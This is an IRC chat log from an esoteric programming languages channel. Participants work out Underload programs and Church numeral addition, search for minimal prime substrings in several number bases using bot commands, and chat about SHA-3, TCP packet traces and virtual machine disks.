11:39:43 <oerjan> ^ul (:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))):(~^~(~a~*~a~*)~a*^:(0)*)~a*~:(a(:^)*())~*a(:^)*~()~(0)(!())((~(, )*S:((^~!)~^^^~)~a*^(::)~(**)**)~a*^:^):^
11:39:43 <hagb4rd> duke nukem 4 ever: new release termin published in l.a. 2 hours ago :D
11:39:45 <fungot> 0, 1, 4, 9, 16, 25, 36, 49, 64, 81, 100, 121, 144, 169, 196, 225, 256, 289, 324, 361, 400, 441, 484, 529, 576, 625, 676, 729, 784, 841, 900, 961, 1024, 1089, 1156, 1225, 1296, 1369, 1444, 1521, 1600, 1681, 1764, ...out of time!
11:39:51 <hagb4rd> 2011-06-11#
11:39:52 <oerjan> ais523_: ^ :)
11:40:04 <Phantom_Hoover> If those values weren't obtained empirically I will be sorely disappointed.
11:40:10 <Ilari> Hmm... There is supposed to be rationale for the five SHA-3 finalists document. I haven't seen it yet (it could be interesting reading).
11:40:46 <fizzie> I remember they said they were going to provide one.
11:41:13 <ais523_> oerjan: I think your convert-to-base-10 code is neater than mine
11:41:46 <ais523_> mine was really crazy, it did division by 10 by converting the number into stack elements and getting each element to pop the 9 below
11:43:16 <fizzie> "Announce the finalists. Publish the selection report." is in 2010 Q3 already in the timeline.
11:43:29 <oerjan> yeah i was sort of working with my look-and-say code as starting point
11:43:44 <fizzie> And they did it in Dec 9th; so they seem to be running a little late.
11:44:06 <oerjan> ais523_: btw i realized that the trick of each "cons cell" deleting the previous head, as you formulated it, actually made the code longer
11:44:14 <ais523_> indeed, it does
11:44:19 <ais523_> I realized that too
11:44:32 <oerjan> so i modified the code on the wiki
11:45:33 <oerjan> ais523_: my code is mainly counting up to 9, and then when it wraps over it calls recursively a stored subroutine for the tens part
11:49:36 <ais523_> I can't see an explicit encoding of 9 anywhere in there
11:49:39 <oerjan> `factor 9049
11:49:40 <HackEgo> 9049: 9049
11:50:09 <oerjan> ais523_: i mean the (!~:^) which is called after the 9 step
11:50:24 <ais523_> aha
11:50:34 <ais523_> that would also explain why 0 is printed by a separate part of the code
11:50:50 <oerjan> yeah
11:52:24 -!- ais523 has joined.
11:54:53 <oerjan> `factor 9469
11:54:55 <HackEgo> 9469: 17 557
11:54:55 <Ilari> Its not the only thing that's running late: Testimonies for 2010 nutrion guidelines were 8th July and the transcript and minutes are still "Coming soon". Oh and IIRC 2010 nutrion guidelines have already been published (the same garbage, what else did you expect from USDA?).
11:55:55 <Phantom_Hoover> Ilari, please go back to counting down the days 'till IPv4 depletion.
11:56:29 <oerjan> `factor 9649
11:56:29 <HackEgo> 9649: 9649
11:58:13 <Ilari> You really think americans don't follow the nutrion guidelines (to the extent they are followable)?
11:58:55 <oerjan> `factor 9949
11:58:59 <HackEgo> 9949: 9949
12:01:19 <ais523> hmm, I just rebooted the computer ais523_ was connected from
12:01:21 <Ilari> Of course, have screwed up enough nutrion guidelines and they become impossible to follow...
12:01:22 <ais523> I wonder why it's still here?
12:01:48 <Phantom_Hoover> Not timed out yet?
12:02:15 <oerjan> `factor 46669
12:02:16 <HackEgo> 46669: 7 59 113
12:02:59 <ais523> at least it doesn't respond to pings!
12:03:58 <ais523> Phantom_Hoover: I'd have expected it to /quit when the browser was closed
12:03:58 -!- ais523_ has quit (Ping timeout: 245 seconds).
12:04:01 <ais523> but apparently not
12:04:02 <ais523> ah, pingout
12:04:11 <oerjan> `factor 60049
12:04:12 <HackEgo> 60049: 11 53 103
12:04:14 <Ilari> Yeah, it is 4 minutes for normal connections.
12:06:43 <Phantom_Hoover> *4 minutes AND 5 SECONDS
12:06:46 <oerjan> `factor 60649
12:06:46 <HackEgo> 60649: 60649
12:08:25 <ais523> here's a fun one (which I think I've done, but in my head): convert this psuedocode program to 1cnis: do 6^n times: write 0, write 1 8^n times
12:08:28 <Ilari> Yeah, it is usually bit longer than the set time (it polls the connection list periodically and checks when was last pong received?)
12:08:30 <ais523> where n is the number of steps that has run
12:10:56 <ais523> actually, what I really want is some sort of 1cnis preprocessor
12:11:09 <ais523> that contains for loops, and exponential repeat loops
12:11:35 <ais523> * do 6^n times: write 0, write 1 (8^n)-1 times
12:11:39 <ais523> the -1 is the whole point...
12:12:42 <oerjan> `factor 66049
12:12:43 <HackEgo> 66049: 257 257
12:14:29 <oerjan> `factor 66649
12:14:30 <HackEgo> 66649: 11 73 83
12:17:27 <ais523> hmm, [[User talk:Crescente]]
12:17:36 <ais523> suggestions about how I should react?
12:17:52 <fizzie> ais523: Out of curiosity, since the 1cnis page points out multiple times that the reference impl doesn't do bignums: is there a particular reason why "use bignum;" wouldn't be enough to make it so?
12:18:03 <ais523> fizzie: I hadn't thought of it at the time
12:18:08 <ais523> or was aware that it was that simple
12:18:24 <ais523> it doesn't really matter anyway, because a typical 1cnis program would run a computer out of memory before it ever hit integer overflow
12:18:32 <ais523> but it's the principle of the thing
12:18:48 <ais523> you know, I'll replace that with a welcome message
12:18:51 <ais523> and see what happens
12:23:33 <oerjan> `factor 94669
12:23:36 <HackEgo> 94669: 41 2309
12:31:36 <oerjan> `factor 466669
12:31:38 <HackEgo> 466669: 7 163 409
12:33:16 <oerjan> `factor 600049
12:33:17 <HackEgo> 600049: 17 47 751
12:35:01 <Ilari> Hmm... FIN+ACK and remote end responds to it with an RST...
12:35:44 -!- hagb4rd has quit (Quit: hagb4rd).
12:37:29 <ais523> isn't it legal to respond to /anything/ with an RST?
12:37:41 <Ilari> It is...
12:42:33 <Ilari> Hmm... Packet trace of a connection. A: SYN, B: SYN+ACK, A: ACK. A: Data 1-415. A: Data 1-415. B: ACK up to 415. B: Data 1209-1614. A: SACK 1,1209-1614. B: FIN+ACK. A: SACK 1,1209-1615. B: ACK up to 415. <connection hung>.
12:42:37 <oerjan> `factor 660049
12:42:38 <HackEgo> 660049: 13 50773
12:45:21 <Ilari> I guess something is dropping that packet containing data bytes 1-1208 from B.
12:45:21 <oerjan> `factor 660649
12:45:22 <HackEgo> 660649: 11 19 29 109
12:47:19 <ais523> oerjan: are you looking for primes containing no digits but 0, 4, 6, and 9?
12:47:31 <oerjan> `factor 666049
12:47:32 <HackEgo> 666049: 79 8431
12:47:54 <Ilari> Actually systematically dropping, since it would be retransmitted.
12:47:57 <oerjan> no, i'm checking Ilari's list of minimal prime substrings
12:49:26 <oerjan> although at this point 0,4,6 and 9 may be the only options left. 2,3,5,7 went early of course, and 8 i've dismissed
12:49:53 <oerjan> let me check about 1
12:51:18 <oerjan> yes, 1 is no longer possible since 991 and 9001 are in the list
12:51:31 <oerjan> (as well as 11 and 19)
12:52:17 <ais523> "minimal prime substrings"?
12:52:38 <oerjan> primes that have no smaller primes as (non-consecutive) substrings
12:55:00 <ais523> ah
12:55:22 <ais523> and you're trying to find the largest such prime?
12:56:13 <oerjan> well proving that Ilari's list is all of them
12:57:12 <Ilari> Largest prime that doesn't contain any smaller prime as (non-consecutive) substring is known to be 66600049
12:57:14 <oerjan> `factor 666649
12:57:16 <HackEgo> 666649: 666649
12:57:29 <oerjan> that was the next one
12:57:48 <Ilari> I already factorized all the numbers on that list. They were all primes.
12:58:09 <ais523> factorizing primes is easy!
12:59:31 <ais523> "LoseThos can update full screen at 30fps without much effort because it's only 640x480x16 color."
12:59:41 <ais523> isn't that a bit low for modern systems?
13:04:22 <oerjan> `factor 946669
13:04:23 <HackEgo> 946669: 946669
13:04:40 <oerjan> Ilari: YOU DON'T SAY
13:06:20 <oerjan> `factor 4666669
13:06:21 <HackEgo> 4666669: 7 666667
13:07:12 <oerjan> `factor 6000049
13:07:13 <HackEgo> 6000049: 11 199 2741
13:11:34 <oerjan> `factor 6600049
13:11:34 <HackEgo> 6600049: 19 563 617
13:11:41 <oerjan> `factor 6660049
13:11:42 <HackEgo> 6660049: 11 557 1087
13:14:50 <oerjan> `factor 46666669
13:14:51 <HackEgo> 46666669: 7 7 952381
13:15:17 <oerjan> hm those 46*9 are all divisible by 7 aren't they
13:16:35 <oerjan> 10*(x-3)+9 = 10*x - 21
13:17:39 <oerjan> `factor 60000049
13:17:40 <HackEgo> 60000049: 60000049
13:18:44 <oerjan> `factor 66000049
13:18:45 <HackEgo> 66000049: 66000049
13:19:02 <oerjan> `factor 66600049
13:19:03 <HackEgo> 66600049: 66600049
13:20:24 <ais523> hmm, I'm using Windows because it has a program I need to run
13:20:30 <ais523> and it's decided to randomly shut down in the middle of things
13:20:48 <ais523> especially amusing because I had a file on my desktop that was too large, and I was supposed to get rid of it before logging off...
13:22:34 * oerjan concludes that no more primes are possible
13:22:34 -!- hagb4rd has joined.
13:23:02 <oerjan> EUCLID EAT YOUR HEART OUT
13:23:53 -!- nddrylliog has joined.
13:29:17 <oerjan> Ilari: oh and for base 3 it's indeed 2 and 111, since there are no primes of the form 3^n+1
13:29:41 <oerjan> (EXERCISE LEFT TO THE READER)
13:30:46 <oerjan> base four gives 2,3 and 11
13:37:35 <oerjan> `factor 109
13:38:05 <HackEgo> 109: 109
13:38:56 -!- nddrylliog has quit (Quit: I can flyyyyyyyyy).
13:49:53 -!- BeholdMyGlory has joined.
14:01:40 <oerjan> > foldl1 (\x y -> 5*x+y) [1,4,4,4,4]
14:01:40 -!- MigoMipo has joined.
14:01:40 <lambdabot> 1249
14:02:24 <oerjan> `factor 1249
14:02:44 <HackEgo> 1249: 1249
14:02:47 -!- MigoMipo_ has joined.
14:03:13 <oerjan> base five gives 2, 3, 104 (29), 111 (31), 401 (101), 414 (109), 14444 (625+500+124 = 1249), ...
14:03:23 -!- asiekierka has quit (Read error: Operation timed out).
14:04:13 -!- MigoMipo_ has quit (Read error: Connection reset by peer).
14:05:34 -!- MigoMipo_ has joined.
14:06:10 -!- cheater00 has quit (Ping timeout: 240 seconds).
14:06:18 -!- MigoMipo has quit (Ping timeout: 250 seconds).
14:07:32 -!- MigoMipo_ has quit (Read error: Connection reset by peer).
14:07:53 -!- MigoMipo has joined.
14:08:08 <oerjan> > foldl1 (\x y -> 5*x+y) [4,4,4,4,1]
14:08:08 <lambdabot> 3121
14:08:17 <oerjan> `factor 3121
14:08:21 <HackEgo> 3121: 3121
14:09:13 -!- cheater99 has joined.
14:09:49 <Ilari> There's also 10 in set of base-3 primes...
14:10:14 <oerjan> oh duh
14:10:33 <oerjan> wait that's for base 5 as well
14:10:35 <Ilari> Or actually, the only prime of form 3^n+1 is when n is zero.
14:11:00 <oerjan> well that doesn't count
14:11:20 <oerjan> ok scratch that 104 and replace by 10 (5)
14:11:43 <oerjan> and add 44441 (3121)
14:12:41 <oerjan> and i think that's all.
14:13:51 <oerjan> --> food
14:14:06 <Ilari> In base-3, 2, 10 and 111. To avoid falling into any of those, number must contain at most 2 ones and the rest zeroes. The first 1 must be the leftmost digit. The other must be rightmost since otherwise result is divisible by 3. But all such numbers are even and greater than 2 and as such not primes.
14:17:14 <Ilari> Base 4: 2, 3, 11. To avoid that set, it must contain at most one 1 and the rest zeroes. But such numbers are 4^n and none of those is prime.
14:22:37 -!- asiekierka has joined.
14:24:59 <Ilari> Base 5 seems to have a lot more of those numbers than lesser bases. I got up to 44441 and already found 8...
14:27:55 <Ilari> 2, 3,10,111, 401, 414, 14444 and 44441
14:32:04 <oerjan> Ilari: same as i found
14:32:22 <oerjan> (when correcting for the 10)
14:32:35 <oerjan> and those are all, i believe.
14:33:51 <oerjan> (just say if you want me to give the argument)
14:37:50 <oerjan> > 4*36+1
14:37:51 <lambdabot> 145
14:38:18 <oerjan> > 4*36+4*6+1
14:38:19 <lambdabot> 169
14:39:03 <oerjan> > 4*6^3+1
14:39:04 <lambdabot> 865
14:44:25 <oerjan> 6*(x-1)+1 = 6*x-5, so those 40*1 will all be divisible by 5
14:44:57 -!- Phantom_Hoover has quit (Ping timeout: 240 seconds).
14:45:37 <oerjan> `factor 871
14:45:38 <HackEgo> 871: 13 67
14:46:25 <oerjan> > 4*6^3+4*6^2+1
14:46:26 <lambdabot> 1009
14:46:31 <oerjan> `factor 1009
14:46:32 <HackEgo> 1009: 1009
14:47:24 <oerjan> oh wait duh
14:47:32 <oerjan> > 4*6^3+4*6+1
14:47:33 <lambdabot> 889
14:47:38 <oerjan> `factor 889
14:47:39 <HackEgo> 889: 7 127
14:48:29 <oerjan> > 4*6^3+4*6^2+4*6+1
14:48:30 <lambdabot> 1033
14:48:35 <oerjan> `factor 1033
14:48:36 <HackEgo> 1033: 1033
14:50:08 <oerjan> > 4*6^4+4^6+1
14:50:09 <lambdabot> 9281
14:50:15 <oerjan> `factor 9281
14:50:16 <HackEgo> 9281: 9281
14:52:56 <oerjan> base 6: 2, 3, 5, 11 (7), 4401 (1009), 4441 (1033), 40041 (9281).
14:54:15 -!- Wamanuz2 has joined.
14:57:09 -!- Wamanuz has quit (Ping timeout: 240 seconds).
15:00:08 -!- FireFly has joined.
15:00:56 -!- cheater99 has quit (Ping timeout: 240 seconds).
15:01:22 <oerjan> > iterate (\x -> x*49+8) 1
15:01:23 <lambdabot> [1,57,2801,137257,6725601,329554457,16148168401,791260251657,38771752331201...
15:01:34 <oerjan> `factor 2801
15:01:35 <HackEgo> 2801: 2801
15:01:45 <oerjan> base 7: 2, 3, 5, 10 (7), 14 (11), 16 (13), 41 (29), 61 (43), 11111 (2801).
15:01:59 -!- cheater99 has joined.
15:02:23 <kfr> oerjan what are you doing? Checking out prime generating polynomials?
15:03:01 <oerjan> kfr: checking what primes in various bases have representations that have no other prime as non-consecutive substrings
15:03:24 <oerjan> there's a theorem that says the number of them is always finite
15:04:04 <oerjan> (primeness is not important for that, just any property of strings can be used)
15:05:16 <oerjan> so far it's been possible to check. but we don't have a certain proof for the same question for powers of 2...
15:05:18 <kfr> > iterate (\n -> n^2 + n + 41) 1
15:05:19 <lambdabot> [1,43,1933,3738463,13976109340873,195331632308051498617743043,3815444658012...
15:05:23 <kfr> :o
15:05:27 <oerjan> heh
15:05:49 <kfr> lol that's the wrong use though
15:06:17 <oerjan> > [n^2 + n + 41 | n <- [0..40]]
15:06:17 <lambdabot> [41,43,47,53,61,71,83,97,113,131,151,173,197,223,251,281,313,347,383,421,46...
15:06:25 <kfr> Damn, I was just writing that
15:06:39 <kfr> Although with take 10 and n <- [0..] instead
15:06:41 <oerjan> thought that might be what you meant
15:06:59 <oerjan> well i know they stop being all primes at around 40
15:07:10 <kfr> Right
15:07:15 <kfr> http://mathworld.wolfram.com/Prime-GeneratingPolynomial.html
15:08:06 <oerjan> actually 40 itself doesn't give one
15:08:21 -!- Phantom_Hoover has joined.
15:08:36 <Phantom_Hoover> Oh dear god, there's another version of LoseThos.
15:09:43 <Ilari> For powers of two, the minimal subset of substrings is known to be finite. In base 10, it is at least 5 and 6th element if it existed would have to be >2^10^9 (>300M digits).
15:10:10 <oerjan> well right it's the exact set that isn't known
15:12:33 <oerjan> > 8^2+4*8+1
15:12:34 <lambdabot> 97
15:13:49 <oerjan> > 8^2+6*8+1
15:13:50 <lambdabot> 113
15:15:19 <oerjan> `factor 257
15:15:20 <HackEgo> 257: 257
15:16:03 <Phantom_Hoover> The LostThos guy remonds me distressingly of zzo, come to think of it.
15:16:42 <oerjan> > 4*8^2+4*8+1
15:16:43 <lambdabot> 289
15:16:49 <oerjan> `factor 289
15:16:50 <HackEgo> 289: 17 17
15:17:31 <Ilari> For base 9: "2, 3, 5, 7, 14, 18, 41, 81, 601, 661, 1011, 1101, ...
15:19:26 <oerjan> > 6*8^2+0*8+1
15:19:27 <lambdabot> 385
15:22:56 <oerjan> > 6*8^2+6*8+1
15:22:57 <lambdabot> 433
15:23:06 <oerjan> `factor 433
15:23:06 <HackEgo> 433: 433
15:25:28 <oerjan> > 8^3+0*8^2+0*8+1
15:25:29 <lambdabot> 513
15:27:49 -!- copumpkin has quit (Quit: Computer has gone to sleep.).
15:28:17 <oerjan> > 8^3+1*8^2+0*8+1
15:28:17 <lambdabot> 577
15:28:25 <oerjan> `factor 577
15:28:26 <HackEgo> 577: 577
15:30:36 <oerjan> > 4*8^3+1*8^2+1*8+1
15:30:37 <lambdabot> 2121
15:31:42 <oerjan> > 4*8^3+4*8^2+1*8+1
15:31:43 <lambdabot> 2313
15:31:50 <oerjan> `factor 2313
15:31:51 <HackEgo> 2313: 3 3 257
15:33:02 <oerjan> > 4*8^3+4*8^2+6*8+1
15:33:02 <lambdabot> 2353
15:33:09 <oerjan> `factor 2353
15:33:09 <HackEgo> 2353: 13 181
15:33:43 <oerjan> > 4*8^3+6*8^2+1*8+1
15:33:44 <lambdabot> 2441
15:33:51 <oerjan> `factor 2441
15:33:52 <HackEgo> 2441: 2441
15:33:58 <oerjan> base 8: 2, 3, 5, 7, 141 (97), 161 (113), 401 (257), 661 (433), 1101 (577), 4611 (2441), ...
15:34:39 <oerjan> > 4*8^3+6*8^2+4*8+1
15:34:40 <lambdabot> 2465
15:35:41 <oerjan> > 6*8^3+0*8^2+0*8+1
15:35:42 <lambdabot> 3073
15:35:50 <oerjan> `factor 3073
15:35:51 <HackEgo> 3073: 7 439
15:42:54 <oerjan> `factor 3137
15:42:55 <HackEgo> 3137: 3137
15:44:38 <oerjan> `factor 3337
15:44:39 <HackEgo> 3337: 47 71
15:45:39 <oerjan> `factor 3361
15:45:39 <HackEgo> 3361: 3361
15:49:59 <oerjan> `factor 4097
15:50:00 <HackEgo> 4097: 17 241
15:51:44 <oerjan> `factor 4169
15:51:44 <HackEgo> 4169: 11 379
15:52:02 <oerjan> `factor 4681
15:52:03 <HackEgo> 4681: 31 151
15:52:07 -!- cheater99 has quit (Ping timeout: 240 seconds).
15:53:48 <oerjan> `factor 16969
15:53:49 <HackEgo> 16969: 71 239
15:54:42 <oerjan> `factor 18697
15:54:43 <HackEgo> 18697: 7 2671
15:55:32 <oerjan> `factor 18721
15:55:33 <HackEgo> 18721: 97 193
15:55:50 <kfr> This channel should be renamed to #repl
15:57:07 <ais523> that's what #esoteric-blah is for, isn't it?
15:57:09 <ais523> except the bots aren't tehre
15:57:11 <ais523> you could try PM
15:57:21 <oerjan> ok i just started doing that
15:57:59 <ais523> my current pastime: repeatedly rebooting Windows (which hasn't been loaded for almost a year) to see how many reboots it takes to finish applying all its updates
15:58:05 <ais523> I'm at about 12 atm, I've vaguely lost count...
15:58:20 <ais523> (Windows 7, in case it matters)
16:05:19 -!- cheater99 has joined.
16:06:31 -!- copumpkin has joined.
16:10:30 -!- cheater99 has quit (Ping timeout: 240 seconds).
16:11:05 -!- cheater99 has joined.
16:18:44 <oerjan> base 8: 2, 3, 5, 7, 141 (97), 161 (113), 401 (257), 661 (433), 1101 (577), 4611 (2441), 6101 (3137), 6441 (3361), 60411 (24841), 101111 (33353), 444641 (149921), ...
16:24:35 <ais523> does the ... mean there are potentially more?
16:28:22 -!- pumpkin has joined.
16:28:27 -!- copumpkin has quit (Ping timeout: 272 seconds).
16:29:41 -!- Slereah has quit (Ping timeout: 260 seconds).
16:30:21 -!- asiekierka has quit (Ping timeout: 272 seconds).
16:31:54 <Ilari> It is fairly easy to list all numbers in set up to N, but showing that the set is complete requires a proof (and that isn't easy on bases >=5).
16:36:07 -!- Slereah has joined.
16:36:45 -!- copumpkin has joined.
16:36:50 -!- copumpkin has quit (Changing host).
16:36:50 -!- copumpkin has joined.
16:37:57 -!- pumpkin has quit (Ping timeout: 272 seconds).
16:40:18 -!- sebbu has quit (Read error: Connection reset by peer).
16:40:49 -!- sebbu has joined.
16:40:59 <oerjan> <ais523> does the ... mean there are potentially more? <-- oh right, yes, i just wanted to put those i've found so far on the screen
16:41:20 -!- ais523 has quit (Read error: Connection reset by peer).
16:41:41 <oerjan> Ilari: i'm proving as i go. admittedly i might slip up...
16:41:59 <oerjan> but i believe i've got all bases <= 7
16:42:36 -!- asiekierka has joined.
16:48:30 -!- ais523 has joined.
16:49:13 -!- Sgeo_ has joined.
16:58:35 -!- asiekierka has quit (Remote host closed the connection).
17:00:50 -!- asiekierka has joined.
17:01:09 <oerjan> base 8: 2, 3, 5, 7, 141 (97), 161 (113), 401 (257), 661 (433), 1101 (577), 4611 (2441), 6101 (3137), 6441 (3361), 60411 (24841), 101111 (33353), 444641 (149921), 600111 (196681), 1000011 (262153), 1000111 (262217), 4411111 (1184329), ...
17:03:45 <ais523> fun issue I came up against just now: I had to reproduce someone else's virtual machine from the disks
17:03:52 <ais523> and they assumed a particular disk was connected to /dev/sdb1
17:04:22 <ais523> in the end, I had to make a tiny hard disk and attach it to sda in order to push the other disk onto sdb (and thus get its partition at sdb1)
17:09:06 <fizzie> You can do the same with udev trickery; but that is undoubtedly simpler.
17:10:36 <ais523> how to do udev trickery is unclear if it crashes before I even reach a shell
17:11:37 <fizzie> By mounting the disk from the host and twiddling the configuration files?
17:13:11 <fizzie> Though with some image formats that's non-trivial.
17:13:14 <ais523> the disk wasn't in a format that could be directly mounted, especially because the host was running Windows
17:28:31 -!- TLUL has joined.
17:31:11 <ais523> wow, the Yes problem on anagolf seems to be shorter to cheat than to not cheat in Python
17:31:36 -!- sftp has quit (Remote host closed the connection).
17:31:38 <Phantom_Hoover> Io.
17:32:35 <quintopia> `factor 257
17:32:36 <HackEgo> 257: 257
17:34:27 -!- sftp has joined.
17:37:13 <Sgeo_> Phantom_Hoover, what about Io?
17:37:30 <Phantom_Hoover> O GOD WHAT HAVE I DONE
17:37:54 <Sgeo_> Phantom_Hoover, you just said Io without any context.
17:37:58 <Sgeo_> You're turning into me!
17:40:51 -!- cheater99 has quit (Ping timeout: 240 seconds).
17:41:29 -!- cheater99 has joined.
17:43:13 -!- Slereah has quit (Ping timeout: 240 seconds).
17:45:27 <Sgeo_> Also, I'd like Io more if it worked well on Windows
17:49:40 -!- Slereah has joined.
17:59:28 -!- sftp has quit (Remote host closed the connection).
17:59:55 -!- sftp has joined.
18:07:16 -!- sebbu2 has joined.
18:07:45 <Phantom_Hoover> Sgeo_, I WAS REFERRING TO THE MOON
18:08:13 <Sgeo_> And there was no context by which someone would figure that out
18:08:15 <oerjan> THAT IS NO MOON
18:08:36 <quintopia> is binary addition possible in underload? is it necessary to store each digit as a separate stack element?
18:09:00 <oerjan> quintopia: you can implement lists
18:09:10 <oerjan> so it's surely possible
18:09:22 -!- sebbu has quit (Ping timeout: 260 seconds).
18:09:51 <quintopia> possible with having the entire numeral in one stack cell?
18:10:18 <oerjan> sure. the numeral would be a program, of course, like everything else in Underload.
18:10:46 <oerjan> (well everything that's not just for printing)
18:11:49 <pikhq_> BACON
18:11:51 -!- pikhq_ has changed nick to pikhq.
18:12:03 <oerjan> a cons cell can be implemented as a program that puts the car and the cdr on the stack. (you might also want an empty flag).
18:12:41 <oerjan> so the cdr is then a subprogram, which has its cdr as a subprogram, etc.
18:13:22 <oerjan> in fact my printing routines of lately are essentially mostly cons cells, as ais523 pointed out.
18:13:52 <ais523> it's basically list index followed by print, much like you'd do it in any other language that didn't have arithmetic
18:13:56 <ais523> on characters
18:14:18 <quintopia> so the reasonable thing to have here is a numeral such that cating with another numeral and executing would push the sum as a numeral in the same format onto the stack
18:14:39 <quintopia> and of course the requirement should be that the length of the representation is logarithmic in the size of the numeral
18:14:45 <ais523> why require cat in particular? why not allow any addition function?
18:14:52 <oerjan> ...no, i don't think that's necessarily reasonable if you want binary efficiency
18:15:02 <oerjan> (it might happen to be by accident)
18:15:05 <quintopia> "reasonable"
18:15:10 <quintopia> in the sense of "fun to write"
18:15:16 -!- elliott has joined.
18:16:00 <elliott> 06:37:37 <Gregor> Anybody happen to know of a FreeDesktop-aligned menu program that can run as a system tray applet?
18:16:03 <oerjan> there _is_ a simple numeral form for which concatenating is summing: lists of ^'s
18:16:04 <elliott> Gregor: gnome-panel? >:D
18:16:20 <elliott> Seriously though, what does freedesktop matter here?
18:16:20 <oerjan> (no execution needed though)
18:16:23 <elliott> wait
18:16:24 <quintopia> oerjan: isn't that unary?
18:16:26 <elliott> are you talking about underloda?
18:16:28 <elliott> *underload?
18:16:30 <oerjan> quintopia: yes
18:16:33 <elliott> i was just thinking about how to do division!
18:16:35 <Gregor> elliott: .desktop files
18:16:35 <elliott> :3
18:16:37 <elliott> erm
18:16:39 <elliott> not division
18:16:41 <elliott> addition
18:16:42 <elliott> Gregor: ew
18:16:45 <Gregor> elliott: By FreeDesktop-aligned I just mean "compatible with their standards"
18:16:48 <quintopia> then it doesn't meet the logarithmic-sized representation requirement
18:16:55 <elliott> Gregor: Their standards are terrible :P
18:16:56 <elliott> ais523: ping
18:16:59 <Gregor> elliott: You'd rather go back to the hell that predated .desktop files?
18:17:07 -!- zzo38 has joined.
18:17:08 <elliott> Gregor: Nope.
18:17:18 <oerjan> elliott: heh, i have a vague idea to do division similarly to my recent printing routine (which you may not have seen in its full glory yet)
18:17:26 <elliott> indeed i haven't
18:17:33 <elliott> now how do you add two UL-church numerals?
18:18:12 <oerjan> elliott: ((:)~*(*)*)~^
18:18:23 <ais523> oerjan: is that not a+b+1?
18:18:23 <elliott> heh, so basically what i was thinking, but more elegant
18:18:27 <elliott> hm indeed
18:18:35 <ais523> that's one of the more elegant forms of that rule I've seen, though
18:18:40 <ais523> I was busy trying to work it out and failing
18:18:45 <elliott> ais523: You know how you said special-casing numbers would make arithmetic O(1) instead of O(log n)?
18:18:55 <ais523> ah no, it is a+b
18:18:59 <elliott> ais523: That's incorrect, because addition and multiplication are both O(log n) IIRC
18:19:07 <elliott> But certainly arithmetic isn't O(1)
18:19:09 <oerjan> ais523: it's just iterating increment on m, n times
18:19:12 <zzo38> I wrote in the wiki about how to do increment/add church numbers.
18:19:15 <ais523> elliott: actually they're O(n), but you could detect arithmetic too I suppose
18:19:17 <ais523> oerjan: indeed
18:19:20 <elliott> Of course, for naturals less than 2^64 it can work.
18:19:25 <elliott> ais523: I'm talking about mathematically
18:19:29 <ais523> ah, I see
18:19:31 <elliott> I think addition is O(log n)
18:19:32 <ais523> yes, I was assuming not bignum
18:19:35 <elliott> right
18:19:50 * elliott boggles at ais' message on http://esolangs.org/wiki/User_talk:Crescente
18:19:56 <zzo38> But it is possible I make mistake
18:20:06 <ais523> elliott: I was wondering how to deal with an obviously spambot UT page
18:20:12 <ais523> so I decided to do that to see what the reaction would be
18:20:21 <ais523> it takes a while to figure out how any given spambot acts
18:20:22 <elliott> ais523: btw, what does a numeral of the form ({:*}^n) represent?
18:20:25 <elliott> is it even a church numeral?
18:20:26 <elliott> I /think/ so
18:20:27 <ais523> power of 2
18:20:29 <elliott> is it 2^n?
18:20:30 <elliott> right
18:20:40 <elliott> hmm increment (I want to figure this out myself)
18:20:46 <elliott> (:*) is 2, I believe
18:20:51 <elliott> right ais523?
18:20:58 <oerjan> ^ul (:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))):(~^~(~a~*~a~*)~a*^:(0)*)~a*~:(a(:^)*())~*a(:^)*~()~(0)(!())((~(, )*S:((^~!)~^^^~)~a*^(::)~(**)**)~a*^:^):^
18:20:58 <ais523> yes
18:20:58 <elliott> so
18:20:59 <fungot> 0, 1, 4, 9, 16, 25, 36, 49, 64, 81, 100, 121, 144, 169, 196, 225, 256, 289, 324, 361, 400, 441, 484, 529, 576, 625, 676, 729, 784, 841, 900, 961, 1024, 1089, 1156, 1225, 1296, 1369, 1444, 1521, 1600, 1681, 1764, ...out of time!
18:21:10 <elliott> (x)(:*)^ -> (xx)
18:21:21 <elliott> (:)(:*)* -> (::*)
18:21:22 <elliott> so
18:21:28 <elliott> (:)~*(*)*
18:21:29 <elliott> is increment
18:21:31 <ais523> yep
18:21:36 <elliott> addition
18:21:36 <elliott> hm
18:21:41 <elliott> (i forgot the solution don't tell me)
18:21:45 <Sgeo_> Grrr at the clothing he's wearing being 2lbs
18:21:55 <elliott> (:*)(::**) is 2+3, i.e. 5 i.e. (::::****)
18:21:57 <elliott> so
18:22:19 <elliott> (:)~^ ... nope
18:22:25 <oerjan> <quintopia> then it doesn't meet the logarithmic-sized representation requirement <-- well i just don't immediately see how to do your "addition by concatenation" with a non-unary representation
18:22:27 <ais523> elliott: err, (:*)(::**) is just two numbers
18:22:33 <elliott> ais523: indeed
18:22:34 <elliott> ais523: that was 2 and 3
18:22:36 <elliott> my examples
18:22:40 <elliott> that i was working with
18:22:43 <ais523> oh, those are the args you want
18:22:44 <quintopia> oerjan: i don't either.
18:22:45 <elliott> right
18:22:59 <elliott> well, zzo's solution is basically recursive increment
18:23:01 -!- Cheery has joined.
18:23:07 <elliott> but I want something more "primitive"...
18:23:08 <kfr> ;D
18:23:10 <Cheery> http://www.youtube.com/watch?v=scZ-MHgfol0
18:23:30 <elliott> hmm, a random person coming in and linking a youtube video that actually seems relevant?
18:23:32 <ais523> oerjan: you'd basically have to use a self-delimiting format
18:23:34 <kfr> Cheery is working on a visualised programming language or something like that, it looks very esoteric
18:23:39 <elliott> that's not a common occurrence
18:23:39 <kfr> elliott: I told him to haha
18:23:45 <Cheery> or did kfr already linked? we thought you'd here would bother. ;)
18:23:47 <ais523> kfr: heh, we've had a bunch of spambots doing that recently
18:24:01 <ais523> so for a human to do the same thing the same way, only it's relevant, is awesome
18:24:05 <kfr> I thought it was worth sharing
18:24:12 <ais523> the timings gave it away, though
18:24:16 <elliott> Cheery: do you know of aardappel?
18:24:18 <ais523> I'm at work so can't watch YouTube; what's it about?
18:24:23 <kfr> It was funny because I was talking about this in here just a few days ago
18:24:26 <elliott> it's like Aardappel from the looks of it :P
18:24:31 <elliott> very like aardappel
18:24:49 <Cheery> elliott: no, I'm doing a quick search on it now.
18:25:11 <elliott> Cheery: http://strlen.com/aardappel-language
18:25:22 -!- kar8nga has joined.
18:25:23 <kfr> Cheery: This channel is good for freethinker talk on programming languages although many people in here are under the influence of Haskell
